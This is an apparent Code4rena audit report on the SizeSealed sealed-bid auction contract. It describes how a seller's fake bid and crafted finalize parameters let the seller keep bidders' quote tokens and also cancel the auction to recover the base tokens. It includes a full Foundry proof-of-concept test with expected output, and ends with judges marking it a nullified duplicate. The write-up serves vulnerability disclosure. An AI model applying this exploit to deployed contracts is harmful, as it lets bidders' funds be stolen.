Malicious seller can steal from bidders.

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L238

Vulnerability details

Impact

A seller can cancel the auction after finalize and thus can steal money from the bidders and get their original baseToken back.

POC

When an auction is started the value of a.data.lowestQuote is set as type(uint128).max here https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L90 .

In the atState function this value (a.data.lowestQuote) is checked to see if the state is States.Finalized or not. (https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L33)

If we somehow manage to put the value of a.data.lowestQuote as type(uint128).max after/during the finalization phase, the contract would assume that the auction is still not finalized , and thus the seller would be able to cancel the auction.

There is one more place where a.data.lowestQuote can be modified and it is this line : https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L238 .

Even if we set the value of a.data.lowestQuote to type(uint128).max in the finalize we would also need to pass this check https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L297 . But this check only checks if the value of FixedPointMathLib.mulDivDown(clearingQuote, type(uint128).max, clearingBase)) is equal to data.previousQuotePerBase which can be bypassed if the seller places a fake bid, so that the following condition is bypassed:

$clearingQuote/clearingBase == b.quoteAmount/baseAmount$

An easy way to do this is to keep the values of clearingQuote == clearingBase == type(uint128).max and b.quoteAmount == baseAmount == 1.

Now let’s assume a scenario where a malicious seller sets up an auction with the following parameters:

uint256 reserveQuotePerBase = 1e18 * uint256(type(uint128).max) / 1e18;
uint128 minimumBidQuote = 1;
quoteToken = new MockERC20("Dai Stablecoin", "DAI", 18);
baseToken = new MockERC20("Wrapped Ether", "WETH", 18);
baseToSell = 10000 ether;

Here I’ve kept the value of reserveQuotePerBase to be 1 quote per base to keep the maths easier.

Now let’s say there are a few bidders who place their bids.

bidder.bidOnAuctionWithSalt(1 ether, 1500 ether, "hello"); // want to buy 1 WETH for 1500 DAI
bidder1.bidOnAuctionWithSalt(1000 ether, 1500000 ether, "hello"); // want to buy 1000 WETH for 1500000 DAI

Now the seller can place a fake bid using another account/contract like this :

seller_as_fake_bidder.bidOnAuctionWithSalt(1 ether, 1 ether, "hello");

The seller can also place 977 fake bids and cancel 976 so no other bid can be place after theirs.

Now if the seller calls finalize with the following parameter:

uint256[] memory bidIndices = new uint[](3);
bidIndices[0] = 0;
bidIndices[1] = 1;
bidIndices[2] = 2;
seller.finalize(bidIndices, type(uint128).max ,type(uint128).max);

They would be able to bypass the finalize function, get the quoteAmount from bidders to their seller contract and would set a.data.lowestQuote to type(uint128).max . This would then allow them to call cancelAuction and thus get back their baseTokens.

Full POC here:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;

import {Test} from "forge-std/Test.sol";
import {Merkle} from "murky/Merkle.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";

import {ECCMath} from "../util/ECCMath.sol";
import {SizeSealed} from "../SizeSealed.sol";
import {MockBuyer} from "./mocks/MockBuyer.sol";
import {MockERC20} from "./mocks/MockERC20.sol";
import {MockSeller} from "./mocks/MockSeller.sol";
import {ISizeSealed} from "../interfaces/ISizeSealed.sol";

contract SizeSealedTest is Test, ISizeSealed {

    SizeSealed auction;

    MockSeller seller;
    MockSeller seller2;
    MockERC20 quoteToken;
    MockERC20 quoteToken2;
    MockERC20 baseToken;

    MockBuyer bidder;
    MockBuyer bidder1;
    MockBuyer seller_as_fake_bidder;

    // Auction parameters (cliff unlock)
    uint32 startTime;
    uint32 endTime;
    uint32 unlockTime;
    uint32 unlockEnd;
    uint128 cliffPercent;

    uint128 baseToSell;

    uint256 reserveQuotePerBase = 1e18 * uint256(type(uint128).max) / 1e18;
    uint128 minimumBidQuote = 1;

    function setUp() public {
        // Create quote and bid tokens
        quoteToken = new MockERC20("Dai Stablecoin", "DAI", 18);

        baseToken = new MockERC20("Wrapped Ether", "WETH", 18);

        // Init auction contract
        auction = new SizeSealed();

        // Create seller
        seller = new MockSeller(address(auction), quoteToken, baseToken);

        // Create bidders
        bidder = new MockBuyer(address(auction), quoteToken, baseToken);
        bidder1 = new MockBuyer(address(auction), quoteToken, baseToken);
        seller_as_fake_bidder = new MockBuyer(address(auction), quoteToken, baseToken);

        startTime = uint32(block.timestamp);
        endTime = uint32(block.timestamp) + 60;
        unlockTime = uint32(block.timestamp) + 100;
        unlockEnd = uint32(block.timestamp) + 1000;
        cliffPercent = 0;

        baseToSell = 10000 ether;
        vm.label(address(bidder), "Bidder 1");

        vm.label(address(quoteToken), "Quote Token1");
        vm.label(address(baseToken), "Base Token");
    }

    function testStealBids() public {
        (uint256 beforeFinalizeQuote, uint256 beforeFinalizeBase) = seller.balances();
        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );
        bidder.setAuctionId(aid);
        bidder1.setAuctionId(aid);
        seller_as_fake_bidder.setAuctionId(aid);

        bidder.bidOnAuctionWithSalt(1 ether, 1500 ether, "hello"); // want to buy 1 WETH for 1500 DAI
        bidder1.bidOnAuctionWithSalt(1000 ether, 1500000 ether, "hello"); // want to buy 1000 WETH for 1500000 DAI
        seller_as_fake_bidder.bidOnAuctionWithSalt(1 ether, 1 ether, "hello");

        vm.warp(endTime + 1);
        uint256[] memory bidIndices = new uint[](3);
        bidIndices[0] = 0;
        bidIndices[1] = 1;
        bidIndices[2] = 2;
        seller.finalize(bidIndices, type(uint128).max ,type(uint128).max);
        seller.cancelAuction(); 
        (uint256 afterFinalizeQuote, uint256 afterFinalizeBase) = seller.balances();
        emit log_named_decimal_uint("Before Finalize Quote ",beforeFinalizeQuote,18);
        emit log_named_decimal_uint("Before Finalize Base ",beforeFinalizeBase,18);
        emit log_named_decimal_uint("After Finalize Quote ",afterFinalizeQuote,18);
        emit log_named_decimal_uint("After Finalize Base ",afterFinalizeBase,18);
    }
}

It should output the following :

Running 1 test for src/test/SizeSealed.t.sol:SizeSealedTest
[PASS] testStealBids() (gas: 1148973)
Logs:
  Before Finalize Quote : 0.000000000000000000
  Before Finalize Base : 10000.000000000000000000
  After Finalize Quote : 1002.000000000000000000
  After Finalize Base : 10000.000000000000000000

The seller now has both the bids quotetokens and the initial basetokens they placed for their bid.

If the bidders now try to call refund or withdraw , the transaction would revert with InvalidState .

Recommendations:

a.data.lowestQuote should be checked with the actual lowestquote instead of just the division check.

[trust1995]

Believe it's the same underlying issue as #171, presented differently.

[0xean]

agree with trust, this is the same issue. using #171 as the wardens dupe.

[c4-judge]

0xean marked the issue as nullified